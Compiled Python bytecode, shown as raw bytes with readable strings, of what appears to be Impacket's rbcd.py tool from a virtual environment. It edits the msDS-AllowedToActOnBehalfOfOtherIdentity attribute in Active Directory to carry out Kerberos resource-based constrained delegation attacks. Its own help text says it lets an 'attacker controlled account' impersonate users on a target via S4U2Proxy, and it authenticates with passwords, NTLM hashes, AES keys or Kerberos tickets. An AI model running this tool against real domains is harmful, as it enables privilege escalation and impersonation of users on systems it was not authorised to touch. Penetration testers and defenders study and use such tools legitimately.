o
    j4;                     @   s   d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlm	Z	 d dl
mZmZ d dlmZ d dlmZ d dlmZmZ dd	 Zd
d ZG dd deZdd Zdd Zedkrae  dS dS )    N)
format_sid)version)loggerutils)	ldaptypes)escape_filter_chars)init_ldap_sessionparse_identityc                  C   s|   t  } d| d< d| d< d| d< t  | d< | d d d	| d
< d	| d< t  }d|d< d|d< d|d< g |_|| d< | S )N   Revision    Sbz1i  ControlOwnerSidzS-1-5-32-544    GroupSidSacl   AclRevisionr   Sbz2Dacl)r   SR_SECURITY_DESCRIPTORLDAP_SIDfromCanonicalACLaces)sdacl r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/rbcd.pycreate_empty_sd%   s   r    c                 C   sb   t  }t jj|d< d|d< t  }t  |d< d|d d< t  |d< |d |  ||d< |S )NAceTyper   AceFlagsMaski SidAce)r   ACEACCESS_ALLOWED_ACEACE_TYPEACCESS_MASKr   r   )sidnaceacedatar   r   r   create_allow_ace9   s   r-   c                       sX   e Zd ZdZ fddZdd Zdd Zdd	 Zd
d Zdd Z	dd Z
dd Z  ZS )RBCDzdocstring for setrbcdc                    sb   t t|   || _|| _d | _|| _d | _d | _t	
d t }d |_t| j| j|| _d S )NzInitializing domainDumper())superr.   __init__ldap_serverldap_sessiondelegate_fromdelegate_toSID_delegate_fromDN_delegate_tologgingdebugldapdomaindumpdomainDumpConfigbasepathdomainDumperdomain_dumper)selfr1   r2   r4   cnf	__class__r   r   r0   I   s   
zRBCD.__init__c                 C   s4   |  | j}|std d S |d | _|   d S )NTAccount to modify does not exist! (forgot "$" for a computer account? wrong domain?)r   )get_user_infor4   r7   errorr6   get_allowed_to_act)r>   resultr   r   r   readV   s   

z	RBCD.readc                 C   sp  || _ | | j }|std d S t|d | _| | j}|s(td d S |d | _|  \}}| jdd |d j	D vr|d j	
t| j | j|d d	tj| ggi | jjd
 dkrstd td| j | j n?| jjd
 dkrtd| jjd  n,| jjd
 dkrtd| jjd  ntd| jjd  ntd| j | j td |   d S )NVAccount to escalate does not exist! (forgot "$" for a computer account? wrong domain?)   rB   r   c                 S   s   g | ]
}|d  d   qS r%   r$   )formatCanonical.0acer   r   r   
<listcomp>x   s    zRBCD.write.<locals>.<listcomp>r   dn(msDS-AllowedToActOnBehalfOfOtherIdentityrF   (Delegation rights modified successfully!z0%s can now impersonate users on %s via S4U2Proxy2   CCould not modify object, the server reports insufficient rights: %smessage   GCould not modify object, the server reports a constrained violation: %s The server returned an error: %sz4%s can already impersonate users on %s via S4U2Proxyz$Not modifying the delegation rights.)r3   rC   r7   rD   strr5   r4   r6   rE   r   appendr-   r2   modifyldap3MODIFY_REPLACEgetDatarF   infor>   r3   rF   r   
targetuserr   r   r   writec   sF   






z
RBCD.writec                    s.  | _   j }|std d S t|d  _  j}|s(td d S |d  _  \}} fdd|d j	D |d _	 j
|d d	tj| ggi  j
jd
 dkratd n0 j
jd
 dkrttd j
jd  n j
jd
 dkrtd j
jd  n
td j
jd     d S )NrH   rI   rB   r   c                    s&   g | ]} j |d  d  kr|qS rJ   )r5   rK   rL   r>   r   r   rO      s   & zRBCD.remove.<locals>.<listcomp>r   rP   rQ   rF   rR   rS   rT   rU   rV   rW   rX   )r3   rC   r7   rD   rY   r5   r4   r6   rE   r   r2   r[   r\   r]   r^   rF   r_   r`   r   rc   r   remove   s:   




zRBCD.removec                 C   s   |  | j}|std d S |d | _|  \}}| j|d dtj	g gi | jj
d dkr6td n0| jj
d dkrItd| jj
d	  n| jj
d d
kr\td| jj
d	  n
td| jj
d	  |   d S )NrB   r   rP   rQ   rF   z'Delegation rights flushed successfully!rS   rT   rU   rV   rW   rX   )rC   r4   r7   rD   r6   rE   r2   r[   r\   r]   rF   r_   )r>   rF   r   ra   r   r   r   flush   s(   



z
RBCD.flushc                 C   s$  | j j| jdtjg dd d }| j jD ]}|d dkrq|}q|s)td d S zTtj	|d d d	 d
}t
|d jd	krotd |d jD ]$}|d d  }| |d d  }|rm|d }td||f  qIn
td W ||fS W ||fS  ty   td t }Y ||fS w )Nz(objectClass=*))SAMAccountName	objectSidrQ   )search_scope
attributestypesearchResEntryz&Could not query target user propertiesraw_attributesrQ   r   )datar   z4Accounts allowed to act on behalf of other identity:r%   r$   rI   z    %-10s   (%s)z;Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty)r2   searchr6   r\   BASEresponser7   rD   r   r   lenr   r_   rK   get_sid_info
IndexErrorr    )r>   ra   entryr   rN   SIDSidInfosSamAccountNamer   r   r   rE      sD   


zRBCD.get_allowed_to_actc                 C   sv   | j j| jjdt| dgd z| j jd j}t| j jd d jd }||fW S  t	y:   t
d|  Y dS w )Nz(sAMAccountName=%s)rg   ri   r   zUser not found in LDAP: %sF)r2   rn   r=   rootr   entriesentry_dnr   
raw_valuesrs   r7   rD   )r>   samnamerP   r*   r   r   r   rC      s    
zRBCD.get_user_infoc                 C   sl   | j j| jjdt| dgd z| j jd j}| j jd d }||fW S  ty5   t	d|  Y dS w )Nz(objectSid=%s)samaccountnamerx   r   zSID not found in LDAP: %sF)
r2   rn   r=   ry   r   rz   r{   rs   r7   rD   )r>   r*   rP   r}   r   r   r   rr      s    
zRBCD.get_sid_info)__name__
__module____qualname____doc__r0   rG   rb   rd   re   rE   rC   rr   __classcell__r   r   r@   r   r.   F   s    -( 
r.   c                  C   s.  t jddd} | jdddd | jdtdd	d
 | jdtddd
 | jdg ddddd | jdddd | jdddd | jdddd | d}|jddddd |jd dd!d |jd"dd#d |jd$dd%d&d | d'}|jd(dd)d*d |jd+dd,d-d ttjd.kr|   t	d. | 
 S )/NTzbPython (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.)add_helpdescriptionidentitystorez domain.local/username[:password])actionhelpz-delegate-toz1Target account the DACL is to be read/edited/etc.)rj   requiredr   z-delegate-fromFzkAttacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)z-action)rG   rb   rd   re   ?rG   z=Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity)choicesnargsdefaultr   z
-use-ldaps
store_truezUse LDAPS instead of LDAPz-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)r   metavarr   z-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)
connectionz-dc-ipz
ip addresszIP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameterz-dc-hosthostnamezpHostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be usedrI   )argparseArgumentParseradd_argumentrY   add_argument_grouprq   sysargv
print_helpexit
parse_args)parsergroupr   r   r   r     s@   





r   c            
      C   sb  t tj t } t| j| j | jdkr$| j	d u r$t
d td t| j| j| j| j| j\}}}}}| _zRt|||||| j| j| j| j| j
\}}t||| j}| jdkr`|  W d S | jdkrn|| j	 W d S | jdkr||| j	 W d S | jdkr|  W d S W d S  ty }	 zt
 j t
j!krt"#  t
$t%|	 W Y d }	~	d S d }	~	ww )Nrb   zA`-delegate-from` should be specified when using `-action write` !rI   rG   rd   re   )&printr   BANNERr   r   inittsr8   r   r3   r7   criticalr   r   r	   r   hashesno_passaesKeykr   dc_ipdc_host	use_ldapsr.   r4   rG   rb   rd   re   	Exception	getLoggerlevelDEBUG	traceback	print_excrD   rY   )
argsdomainusernamepasswordlmhashnthashr1   r2   rbcder   r   r   main1  s2   


((



r   __main__)r   r7   r   r   r\   r9   $ldap3.protocol.formatters.formattersr   impacketr   impacket.examplesr   r   impacket.ldapr   ldap3.utils.convr   impacket.examples.utilsr   r	   r    r-   objectr.   r   r   r   r   r   r   r   <module>   s*    B*
